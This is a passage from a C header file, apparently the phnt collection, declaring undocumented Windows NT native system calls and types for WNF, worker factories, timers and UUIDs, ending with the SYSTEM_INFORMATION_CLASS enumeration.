);\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtWaitForKeyedEvent(\n _In_ HANDLE KeyedEventHandle,\n _In_ PVOID KeyValue,\n _In_ BOOLEAN Alertable,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\n// UMS\n\n#if (PHNT_VERSION >= PHNT_WIN7)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtUmsThreadYield(\n _In_ PVOID SchedulerParam\n );\n#endif\n\n// WNF\n\n// begin_private\n\ntypedef struct _WNF_STATE_NAME\n{\n ULONG Data[2];\n} WNF_STATE_NAME, *PWNF_STATE_NAME;\n\ntypedef const WNF_STATE_NAME *PCWNF_STATE_NAME;\n\ntypedef enum _WNF_STATE_NAME_LIFETIME\n{\n WnfWellKnownStateName,\n WnfPermanentStateName,\n WnfPersistentStateName,\n WnfTemporaryStateName\n} WNF_STATE_NAME_LIFETIME;\n\ntypedef enum _WNF_STATE_NAME_INFORMATION\n{\n WnfInfoStateNameExist,\n WnfInfoSubscribersPresent,\n WnfInfoIsQuiescent\n} WNF_STATE_NAME_INFORMATION;\n\ntypedef enum _WNF_DATA_SCOPE\n{\n WnfDataScopeSystem,\n WnfDataScopeSession,\n WnfDataScopeUser,\n WnfDataScopeProcess,\n WnfDataScopeMachine // REDSTONE3\n} WNF_DATA_SCOPE;\n\ntypedef struct _WNF_TYPE_ID\n{\n GUID TypeId;\n} WNF_TYPE_ID, *PWNF_TYPE_ID;\n\ntypedef const WNF_TYPE_ID *PCWNF_TYPE_ID;\n\n// rev\ntypedef ULONG WNF_CHANGE_STAMP, *PWNF_CHANGE_STAMP;\n\ntypedef struct _WNF_DELIVERY_DESCRIPTOR\n{\n ULONGLONG SubscriptionId;\n WNF_STATE_NAME StateName;\n WNF_CHANGE_STAMP ChangeStamp;\n ULONG StateDataSize;\n ULONG EventMask;\n WNF_TYPE_ID TypeId;\n ULONG StateDataOffset;\n} WNF_DELIVERY_DESCRIPTOR, *PWNF_DELIVERY_DESCRIPTOR;\n\n// end_private\n\n#if (PHNT_VERSION >= PHNT_WIN8)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateWnfStateName(\n _Out_ PWNF_STATE_NAME StateName,\n _In_ WNF_STATE_NAME_LIFETIME NameLifetime,\n _In_ WNF_DATA_SCOPE DataScope,\n _In_ BOOLEAN PersistData,\n _In_opt_ PCWNF_TYPE_ID TypeId,\n _In_ ULONG MaximumStateSize,\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtDeleteWnfStateName(\n _In_ PCWNF_STATE_NAME StateName\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtUpdateWnfStateData(\n _In_ PCWNF_STATE_NAME StateName,\n _In_reads_bytes_opt_(Length) const VOID *Buffer,\n _In_opt_ ULONG Length,\n _In_opt_ PCWNF_TYPE_ID TypeId,\n _In_opt_ const VOID *ExplicitScope,\n _In_ WNF_CHANGE_STAMP MatchingChangeStamp,\n _In_ LOGICAL CheckStamp\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtDeleteWnfStateData(\n _In_ PCWNF_STATE_NAME StateName,\n _In_opt_ const VOID *ExplicitScope\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryWnfStateData(\n _In_ PCWNF_STATE_NAME StateName,\n _In_opt_ PCWNF_TYPE_ID TypeId,\n _In_opt_ const VOID *ExplicitScope,\n _Out_ PWNF_CHANGE_STAMP ChangeStamp,\n _Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,\n _Inout_ PULONG BufferSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryWnfStateNameInformation(\n _In_ PCWNF_STATE_NAME StateName,\n _In_ WNF_STATE_NAME_INFORMATION NameInfoClass,\n _In_opt_ const VOID *ExplicitScope,\n _Out_writes_bytes_(InfoBufferSize) PVOID InfoBuffer,\n _In_ ULONG InfoBufferSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSubscribeWnfStateChange(\n _In_ PCWNF_STATE_NAME StateName,\n _In_opt_ WNF_CHANGE_STAMP ChangeStamp,\n _In_ ULONG EventMask,\n _Out_opt_ PULONG64 SubscriptionId\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtUnsubscribeWnfStateChange(\n _In_ PCWNF_STATE_NAME StateName\n );\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtGetCompleteWnfStateSubscription(\n _In_opt_ PWNF_STATE_NAME OldDescriptorStateName,\n _In_opt_ ULONG64 *OldSubscriptionId,\n _In_opt_ ULONG OldDescriptorEventMask,\n _In_opt_ ULONG OldDescriptorStatus,\n _Out_writes_bytes_(DescriptorSize) PWNF_DELIVERY_DESCRIPTOR NewDeliveryDescriptor,\n _In_ ULONG DescriptorSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetWnfProcessNotificationEvent(\n _In_ HANDLE NotificationEvent\n );\n\n#endif\n\n// Worker factory\n\n// begin_rev\n\n#define WORKER_FACTORY_RELEASE_WORKER 0x0001\n#define WORKER_FACTORY_WAIT 0x0002\n#define WORKER_FACTORY_SET_INFORMATION 0x0004\n#define WORKER_FACTORY_QUERY_INFORMATION 0x0008\n#define WORKER_FACTORY_READY_WORKER 0x0010\n#define WORKER_FACTORY_SHUTDOWN 0x0020\n\n#define WORKER_FACTORY_ALL_ACCESS ( \\\n STANDARD_RIGHTS_REQUIRED | \\\n WORKER_FACTORY_RELEASE_WORKER | \\\n WORKER_FACTORY_WAIT | \\\n WORKER_FACTORY_SET_INFORMATION | \\\n WORKER_FACTORY_QUERY_INFORMATION | \\\n WORKER_FACTORY_READY_WORKER | \\\n WORKER_FACTORY_SHUTDOWN \\\n )\n\n// end_rev\n\n// begin_private\n\ntypedef enum _WORKERFACTORYINFOCLASS\n{\n WorkerFactoryTimeout, // q; s: LARGE_INTEGER\n WorkerFactoryRetryTimeout, // q; s: LARGE_INTEGER\n WorkerFactoryIdleTimeout, // q; s: LARGE_INTEGER\n WorkerFactoryBindingCount,\n WorkerFactoryThreadMinimum, // q; s: ULONG\n WorkerFactoryThreadMaximum, // q; s: ULONG\n WorkerFactoryPaused, // ULONG or BOOLEAN\n WorkerFactoryBasicInformation, // WORKER_FACTORY_BASIC_INFORMATION\n WorkerFactoryAdjustThreadGoal,\n WorkerFactoryCallbackType,\n WorkerFactoryStackInformation, // 10\n WorkerFactoryThreadBasePriority,\n WorkerFactoryTimeoutWaiters, // since THRESHOLD\n WorkerFactoryFlags,\n WorkerFactoryThreadSoftMaximum,\n WorkerFactoryThreadCpuSets, // since REDSTONE5\n MaxWorkerFactoryInfoClass\n} WORKERFACTORYINFOCLASS, *PWORKERFACTORYINFOCLASS;\n\ntypedef struct _WORKER_FACTORY_BASIC_INFORMATION\n{\n LARGE_INTEGER Timeout;\n LARGE_INTEGER RetryTimeout;\n LARGE_INTEGER IdleTimeout;\n BOOLEAN Paused;\n BOOLEAN TimerSet;\n BOOLEAN QueuedToExWorker;\n BOOLEAN MayCreate;\n BOOLEAN CreateInProgress;\n BOOLEAN InsertedIntoQueue;\n BOOLEAN Shutdown;\n ULONG BindingCount;\n ULONG ThreadMinimum;\n ULONG ThreadMaximum;\n ULONG PendingWorkerCount;\n ULONG WaitingWorkerCount;\n ULONG TotalWorkerCount;\n ULONG ReleaseCount;\n LONGLONG InfiniteWaitGoal;\n PVOID StartRoutine;\n PVOID StartParameter;\n HANDLE ProcessId;\n SIZE_T StackReserve;\n SIZE_T StackCommit;\n NTSTATUS LastThreadCreationStatus;\n} WORKER_FACTORY_BASIC_INFORMATION, *PWORKER_FACTORY_BASIC_INFORMATION;\n\n// end_private\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateWorkerFactory(\n _Out_ PHANDLE WorkerFactoryHandleReturn,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ HANDLE CompletionPortHandle,\n _In_ HANDLE WorkerProcessHandle,\n _In_ PVOID StartRoutine,\n _In_opt_ PVOID StartParameter,\n _In_opt_ ULONG MaxThreadCount,\n _In_opt_ SIZE_T StackReserve,\n _In_opt_ SIZE_T StackCommit\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryInformationWorkerFactory(\n _In_ HANDLE WorkerFactoryHandle,\n _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,\n _Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,\n _In_ ULONG WorkerFactoryInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetInformationWorkerFactory(\n _In_ HANDLE WorkerFactoryHandle,\n _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,\n _In_reads_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,\n _In_ ULONG WorkerFactoryInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtShutdownWorkerFactory(\n _In_ HANDLE WorkerFactoryHandle,\n _Inout_ volatile LONG *PendingWorkerCount\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtReleaseWorkerFactoryWorker(\n _In_ HANDLE WorkerFactoryHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtWorkerFactoryWorkerReady(\n _In_ HANDLE WorkerFactoryHandle\n );\n\nstruct _FILE_IO_COMPLETION_INFORMATION;\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtWaitForWorkViaWorkerFactory(\n _In_ HANDLE WorkerFactoryHandle,\n _Out_ struct _FILE_IO_COMPLETION_INFORMATION *MiniPacket\n );\n\n#endif\n\n// Time\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQuerySystemTime(\n _Out_ PLARGE_INTEGER SystemTime\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetSystemTime(\n _In_opt_ PLARGE_INTEGER SystemTime,\n _Out_opt_ PLARGE_INTEGER PreviousTime\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryTimerResolution(\n _Out_ PULONG MaximumTime,\n _Out_ PULONG MinimumTime,\n _Out_ PULONG CurrentTime\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetTimerResolution(\n _In_ ULONG DesiredTime,\n _In_ BOOLEAN SetResolution,\n _Out_ PULONG ActualTime\n );\n\n// Performance Counter\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryPerformanceCounter(\n _Out_ PLARGE_INTEGER PerformanceCounter,\n _Out_opt_ PLARGE_INTEGER PerformanceFrequency\n );\n\n// LUIDs\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAllocateLocallyUniqueId(\n _Out_ PLUID Luid\n );\n\n// UUIDs\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetUuidSeed(\n _In_ PCHAR Seed\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAllocateUuids(\n _Out_ PULARGE_INTEGER Time,\n _Out_ PULONG Range,\n _Out_ PULONG Sequence,\n _Out_ PCHAR Seed\n );\n\n// System Information\n\n#endif // (PHNT_MODE != PHNT_MODE_KERNEL)\n\n// rev\n// private\ntypedef enum _SYSTEM_INFORMATION_CLASS\n{\n SystemBasicInformation, // q: SYSTEM_BASIC_INFORMATION\n SystemProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION\n SystemPerformanceInformation, // q: SYSTEM_PERFORMANCE_INFORMATION\n SystemTimeOfDayInformation, // q: SYSTEM_TIMEOFDAY_INFORMATION\n SystemPathInformation, // not implemented\n SystemProcessInformation, // q: SYSTEM_PROCESS_INFORMATION\n SystemCallCountInformation, // q: SYSTEM_CALL_COUNT_INFORMATION\n SystemDeviceInformation, // q: SYSTEM_DEVICE_INFORMATION\n SystemProcessorPerformanceInformation, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION\n SystemFlagsInformation, // q: SYSTEM_FLAGS_INFORMATION\n SystemCallTimeInformation, // not implemented // SYSTEM_CALL_TIME_INFORMATION // 10\n SystemModuleInformation, // q: RTL_PROCESS_MODULES\n SystemLocksInformation, // q: RTL_PROCESS_LOCKS\n SystemStackTraceInformation, // q: RTL_PROCESS_BACKTRACES\n SystemPagedPoolInformation, // not implemented\n SystemNonPagedPoolInformation, // not implemented\n SystemHandleInformation, // q: SYSTEM_HANDLE_INFORMATION\n SystemObjectInformation, // q: SYSTEM_OBJECTTYPE_INFORMATION mixed with SYSTEM_OBJECT_INFORMATION\n SystemPageFileInformation, // q: SYSTEM_PAGEFILE_INFORMATION\n SystemVdmInstemulInformation, // q\n SystemVdmBopInformation, // not implemented // 20\n SystemFileCacheInformation, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemCache)\n SystemPoolTagInformation, // q: SYSTEM_POOLTAG_INFORMATION\n SystemInterruptInformation, // q: SYSTEM_INTERRUPT_INFORMATION\n SystemDpcBehaviorInformation, // q: SYSTEM_DPC_BEHAVIOR_INFORMATION; s: SYSTEM_DPC_BEHAVIOR_INFORMATION (requires SeLoadDriverPrivilege)\n SystemFullMemoryInformation, // not implemented\n SystemLoadGdiDriverInformation, // s (kernel-mode only)\n SystemUnloadGdiDriverInformation, // s (kernel-mode only)\n SystemTimeAdjustmentInformation, // q: SYSTEM_QUERY_TIME_ADJUST_INFORMATION; s: SYSTEM_SET_TIME_ADJUST_INFORMATION (requires SeSystemtimePrivilege)\n SystemSummaryMemoryInformation, // not implemented\n SystemMirrorMemoryInformation, // s (requires license value \"Kernel-MemoryMirroringSupported\") (requires SeShutdownPrivilege) // 30\n SystemPerformanceTraceInformation, // q; s: (type depends on EVENT_TRACE_INFORMATION_CLASS)\n SystemObsolete0, // not implemented\n SystemExceptionInformation, // q: SYSTEM_EXCEPTION_INFORMATION\n SystemCrashDumpStateInformation, // s (requires SeDebugPrivilege)\n SystemKernelDebuggerInformation, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION\n SystemContextSwitchInformation, // q: SYSTEM_CONTEXT_SWITCH_INFORMATION\n SystemRegistryQuotaInformation, // q: SYSTEM_REGISTRY_QUOTA_INFORMATION; s (requires SeIncreaseQuotaPrivilege)\n SystemExtendServiceTableInformation, // s (requires SeLoadDriverPrivilege) // loads win32k only\n SystemPrioritySeperation, // s (requires SeTcbPrivilege)\n SystemVerifierAddDriverInformation, // s (requires SeDebugPrivilege) // 40\n SystemVerifierRemoveDriverInformation, // s (requires SeDebugPrivilege)\n SystemProcessorIdleInformation, // q: SYSTEM_PROCESSOR_IDLE_INFORMATION\n SystemLegacyDriverInformation, // q: SYSTEM_LEGACY_DRIVER_INFORMATION\n SystemCurrentTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION\n SystemLookasideInformation, // q: SYSTEM_LOOKASIDE_INFORMATION\n SystemTimeSlipNotification, // s (requires SeSystemtimePrivilege)\n SystemSessionCreate, // not implemented\n SystemSessionDetach, // not implemented\n SystemSessionInformation, // not implemented (SYSTEM_SESSION_INFORMATION)\n SystemRangeStartInformation, // q: SYSTEM_RANGE_START_INFORMATION // 50\n SystemVerifierInformation, // q: SYSTEM_VERIFIER_INFORMATION; s (requires SeDebugPrivilege)\n SystemVerifierThunkExtend, // s (kernel-mode only)\n SystemSessionProcessInformation, // q: SYSTEM_SESSION_PROCESS_INFORMATION\n SystemLoadGdiDriverInSystemSpace, // s (kernel-mode only) (same as SystemLoadGdiDriverInformation)\n SystemNumaProcessorMap, // q\n SystemPrefetcherInformation, // q: PREFETCHER_INFORMATION; s: PREFETCHER_INFORMATION // PfSnQueryPrefetcherInformation\n SystemExtendedProcessInformation, // q: SYSTEM_PROCESS_INFORMATION\n SystemRecommendedSharedDataAlignment, // q\n SystemComPlusPackage, // q; s\n SystemNumaAvailableMemory, // 60\n SystemProcessorPowerInformation, // q: SYSTEM_PROCESSOR_POWER_INFORMATION\n SystemEmulationBasicInformation,\n SystemEmulationProcessorInformation,\n SystemExtendedHandleInformation, // q: SYSTEM_HANDLE_INFORMATION_EX\n SystemLostDelayedWriteInformation, // q: ULONG\n SystemBigPoolInformation, // q: SYSTEM_BIGPOOL_INFORMATION\n SystemSessionPoolTagInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION\n SystemSessionMappedViewInformation, // q: SYSTEM_SESSION_MAPPED_VIEW_INFORMATION\n SystemHotpatchInformation, // q; s: SYSTEM_HOTPATCH_CODE_INFORMATION\n SystemObjectSecurityMode, // q: ULONG // 70\n SystemWatchdogTimerHandler, // s (kernel-mode only)\n SystemWatchdogTimerInformation, // q (kernel-mode only); s (kernel-mode only)\n SystemLogicalProcessorInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION\n SystemWow64SharedInformationObsolete, // not implemented\n SystemRegisterFirmwareTableInformationHandler, // s (kernel-mode only)\n SystemFirmwareTableInformation, // SYSTEM_FIRMWARE_TABLE_INFORMATION\n SystemModuleInformationEx, // q: RTL_PROCESS_MODULE_INFORMATION_EX\n SystemVerifierTriageInformation, // not implemented\n SystemSuperfetchInformation, // q; s: SUPERFETCH_INFORMATION // PfQuerySuperfetchInformation\n SystemMemoryListInformation, // q: SYSTEM_MEMORY_LIST_INFORMATION; s: SYSTEM_MEMORY_LIST_COMMAND (requires SeProfileSingleProcessPrivilege) // 80\n SystemFileCacheInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (same as SystemFileCacheInformation)\n SystemThreadPriorityClientIdInformation, // s: SYSTEM_THREAD_CID_PRIORITY_INFORMATION (requires SeIncreaseBasePriorityPrivilege)\n SystemProcessorIdleCycleTimeInformation, // q: SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION[]\n SystemVerifierCancellationInformation, // not implemented // name:wow64:whNT32QuerySystemVerifierCancellationInformation\n SystemProcessorPowerInformationEx, // not implemented\n SystemRefTraceInformation, // q; s: SYSTEM_REF_TRACE_INFORMATION // ObQueryRefTraceInformation\n SystemSpecialPoolInformation, // q; s (requires SeDebugPrivilege) // MmSpecialPoolTag, then MmSpecialPoolCatchOverruns != 0\n SystemProcessIdInformation, // q: SYSTEM_PROCESS_ID_INFORMATION\n SystemErrorPortInformation, // s (requires SeTcbPrivilege)\n SystemBootEnvironmentInformation, // q: SYSTEM_BOOT_ENVIRONMENT_INFORMATION // 90\n SystemHypervisorInformation, // q; s (kernel-mode only)\n SystemVerifierInformationEx, // q; s: SYSTEM_VERIFIER_INFORMATION_EX\n SystemTimeZoneInformation, // s (requires SeTimeZonePrivilege)\n SystemImageFileExecutionOptionsInformation, // s: SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION (requires SeTcbPrivilege)\n SystemCoverageInformation, // q; s // name:wow64:whNT32QuerySystemCoverageInformation; ExpCovQueryInformation\n SystemPrefetchPatchInformation, // not implemented\n SystemVerifierFaultsInformation, // s (requires SeDebugPrivilege)\n SystemSystemPartitionInformation, // q: SYSTEM_SYSTEM_PARTITION_INFORMATION\n SystemSystemDiskInformation, // q: SYSTEM_SYSTEM_DISK_INFORMATION\n SystemProcessorPerformanceDistribution, // q: SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION // 100\n SystemNumaProximityNodeInformation,\n SystemDynamicTimeZoneInformation, // q; s (requires SeTimeZonePrivilege)\n SystemCodeIntegrityInformation, // q: SYSTEM_CODEINTEGRITY_INFORMATION // SeCodeIntegrityQueryInformation\n SystemProcessorMicrocodeUpdateInformation, // s\n SystemProcessorBrandString, // q // HaliQuerySystemInformation -> HalpGetProcessorBrandString, info class 23\n SystemVirtualAddressInformation, // q: SYSTEM_VA_LIST_INFORMATION[]; s: SYSTEM_VA_LIST_INFORMATION[] (requires SeIncreaseQuotaPrivilege) // MmQuerySystemVaInformation\n SystemLogicalProcessorAndGroupInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX // since WIN7 // KeQueryLogicalProcessorRelationship\n SystemProcessorCycleTimeInformation, // q: SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION[]\n SystemStoreInformation, // q; s: SYSTEM_STORE_INFORMATION // SmQueryStoreInformation\n SystemRegistryAppendString, // s: SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS // 110\n SystemAitSamplingValue, // s: ULONG (requires SeProfileSingleProcessPrivilege)\n SystemVhdBootInformation, // q: SYSTEM_VHD_BOOT_INFORMATION\n SystemCpuQuotaInformation, // q; s // PsQueryCpuQuotaInformation\n SystemNativeBasicInformation, // not implemented\n SystemSpare1, // not implemented\n SystemLowPriorityIoInformation, // q: SYSTEM_LOW_PRIORITY_IO_INFORMATION\n SystemTpmBootEntropyInformation, // q: TPM_BOOT_ENTROPY_NT_RESULT // ExQueryTpmBootEntropyInformation\n SystemVerifierCountersInformation, // q: SYSTEM_VERIFIER_COUNTERS_INFORMATION\n SystemPagedPoolInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypePagedPool)\n SystemSystemPtesInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemPtes) // 120\n SystemNodeDistanceInformation,\n SystemAcpiAuditInformation, // q: SYSTEM_ACPI_AUDIT_INFORMATION // HaliQuerySystemInformation -> HalpAuditQueryResults, info class 26\n SystemBasicPerformanceInformation, // q: SYSTEM_BASIC_PERFORMANCE_INFORMATION // name:wow64:whNtQuerySystemInformation_SystemBasicPerformanceInformation\n SystemQueryPerformanceCounterInformation, // q: SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION // since WIN7 SP1\n SystemSessionBigPoolInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION // since WIN8\n SystemBootGraphicsInformation, // q; s: SYSTEM_BOOT_GRAPHICS_INFORMATION (kernel-mode only)\n SystemScrubPhysicalMemoryInformation, // q; s: MEMORY_SCRUB_INFORMATION\n SystemBadPageInformation,\n SystemProcessorProfileControlArea, // q; s: SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA\n SystemCombinePhysicalMemoryInformation, // s: MEMORY_COMBINE_INFORMATION, MEMORY_COMBINE_INFORMATION_EX, MEMORY_COMBINE_INFORMATION_EX2 // 130\n SystemEntropyInterruptTimingCallback,\n SystemConsoleInformation, // q: SYSTEM_CONSOLE_INFORMATION\n SystemPlatformBinaryInformation, // q: SYSTEM_PLATFORM_BINARY_INFORMATION\n SystemThrottleNotificationInformation,\n SystemHypervisorProcessorCountInformation, // q: SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION\n SystemDeviceDataInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION\n SystemDeviceDataEnumerationInformation,\n SystemMemoryTopologyInformation, // q: SYSTEM_MEMORY_TOPOLOGY_INFORMATION\n SystemMemoryChannelInformation, // q: SYSTEM_MEMORY_CHANNEL_INFORMATION\n SystemBootLogoInformation, // q: SYSTEM_BOOT_LOGO_INFORMATION // 140\n SystemProcessorPerformanceInformationEx, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX // since WINBLUE\n SystemSpare0,\n SystemSecureBootPolicyInformation, // q: SYSTEM_SECUREBOOT_POLICY_INFORMATION\n SystemPageFileInformationEx, // q: SYSTEM_PAGEFILE_INFORMATION_EX\n SystemSecureBootInformation, // q: SYSTEM_SECUREBOOT_INFORMATION\n SystemEntropyInterruptTimingRawInformation,\n SystemPortableWorkspaceEfiLauncherInformation, // q: SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION\n SystemFullProcessInformation, // q: SYSTEM_PROCESS_INFORMATION with SYSTEM_PROCESS_INFORMATION_EXTENSION (requires admin)\n SystemKernelDebuggerInformationEx, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX\n SystemBootMetadataInformation, // 150\n SystemSoftRebootInformation, // q: ULONG\n SystemElamCertificateInformation, // s: SYSTEM_ELAM_CERTIFICATE_INFORMATION\n SystemOfflineDumpConfigInformation,\n SystemProcessorFeaturesInformation, // q: SYSTEM_PROCESSOR_FEATURES_INFORMATION\n SystemRegistryReconciliationInformation,\n SystemEdidInformation,\n SystemManufacturingInformation, // q: SYSTEM_MANUFACTURING_INFORMATION // since THRESHOLD\n SystemEnergyEstimationConfigInformation, // q: SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION\n SystemHypervisorDetailInformation, // q: SYSTEM_HYPERVISOR_DETAIL_INFORMATION\n SystemProcessorCycleStatsInformation, // q: SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION // 160\n SystemVmGenerationCountInformation,\n SystemTrustedPlatformModuleInformation, // q: SYSTEM_TPM_INFORMATION\n SystemKernelDebuggerFlags, // SYSTEM_KERNEL_DEBUGGER_FLAGS\n SystemCodeIntegrityPolicyInformation, // q: SYSTEM_CODEINTEGRITYPOLICY_INFORMATION\n SystemIsolatedUserModeInformation, // q: SYSTEM_ISOLATED_USER_MODE_INFORMATION\n SystemHardwareSecurityTestInterfaceResultsInformation,\n SystemSingleModuleInformation, // q: SYSTEM_SINGLE_MODULE_INFORMATION\n SystemAllowedCpuSetsInformation,\n SystemVsmProtectionInformation, // q: SYSTEM_VSM_PROTECTION_INFORMATION (previously SystemDmaProtectionInformation)\n SystemInterruptCpuSetsInformation, // q: SYSTEM_INTERRUPT_CPU_SET_INFORMATION // 170\n SystemSecureBootPolicyFullInformation, // q: SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION\n SystemCodeIntegrityPolicyFullInformation,\n SystemAffinitizedInterruptProcessorInformation,\n SystemRootSiloInformation, // q: SYSTEM_ROOT_SILO_INFORMATION\n SystemCpuSetInformation, // q: SYSTEM_CPU_SET_INFORMATION // since THRESHOLD2\n SystemCpuSetTagInformation, // q: SYSTEM_CPU_SET_TAG_INFORMATION\n SystemWin32WerStartCallout,\n SystemSecureKernelProfileInformation, // q: SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION\n SystemCodeIntegrityPlatformManifestInformation, // q: SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION // since REDSTONE\n SystemInterruptSteeringInformation, // 180\n SystemSupportedProcessorArchitectures,\n SystemMemoryUsageInformation, // q: SYSTEM_MEMORY_USAGE_INFORMATION\n SystemCodeIntegrityCertificateInformation, // q: SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION\n SystemPhysicalMemoryInformation, // q: SYSTEM_PHYSICAL_MEMORY_INFORMATION // since REDSTONE2\n SystemControlFlowTransition,\n SystemKernelDebuggingAllowed, // s: ULONG\n SystemActivityModerationExeState, // SYSTEM_ACTIVITY_MODERATION_EXE_STATE\n SystemActivityModerationUserSettings, // SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS\n SystemCodeIntegrityPoliciesFullInformation,\n SystemCodeIntegrityUnlockInformation, // SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION // 190\n SystemIntegrityQuotaInformation,\n SystemFlushInformation, // q: SYSTEM_FLUSH_INFORMATION\n SystemProcessorIdleMaskInformation, // q: ULONG_PTR // since REDSTONE3\n SystemSecureDumpEncryptionInformation,\n SystemWriteConstraintInformation, // SYSTEM_WRITE_CONSTRAINT_INFORMATION\n SystemKernelVaShadowInformation, // SYSTEM_KERNEL_VA_SHADOW_INFORMATION\n SystemHypervisorSharedPageInformation, // SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION // since REDSTONE4\n SystemFirmwareBootPerformanceInformation,\n SystemCodeIntegrityVerificationInformation, // SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION\n SystemFirmwarePartitionInformation, // SYSTEM_FIRMWARE_PARTITION_INFORMATION // 200\n SystemSpeculationControlInformation, // SYSTEM_SPECULATION_CONTROL_INFORMATION // (CVE-2017-5715) REDSTONE3 and above.\n SystemDmaGuardPolicyInformation, // SYSTEM_DMA_GUARD_POLICY_INFORMATION\n SystemEnclaveLaunchControlInformation, // SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION\n SystemWorkloadAllowedCpuSetsInformation, // SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION // since REDSTONE5\n SystemCodeIntegrityUnlockModeInformation,\n SystemLeapSecondInformation, // SYSTEM_LEAP_SECOND_INFORMATION\n SystemFlags2Information, // q: SYSTEM_FLAGS_INFORMATION\n SystemSecurityModelInformation, // SYSTEM_SECURITY_MODEL_INFORMATION // since 19H1\n SystemCodeIntegritySyntheticCacheInformation,\n MaxSystemInfoClass\n} SYSTEM_INFORMATION_CLASS;\n\ntypedef struct _SYSTEM_BASIC_INFORMATION\n{\n ULONG Reserved;\n ULONG TimerResolution;\n ULONG PageSize;\n ULONG NumberOfPhysicalPages;\n ULONG LowestPhysicalPageNumber;\n ULONG HighestPhysicalPageNumber;\n ULONG AllocationGranularity;\n ULONG_PTR MinimumUserModeAddress;\n ULONG_PTR MaximumUserModeAddress;\n ULONG_PTR ActiveProcessorsAffinityMask;\n CCHAR NumberOfProcessors;\n} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION;\n\ntypedef struct _SYSTEM_PROCESSOR_INFORMATION\n{\n USHORT ProcessorArchitecture;\n USHORT ProcessorLevel;\n 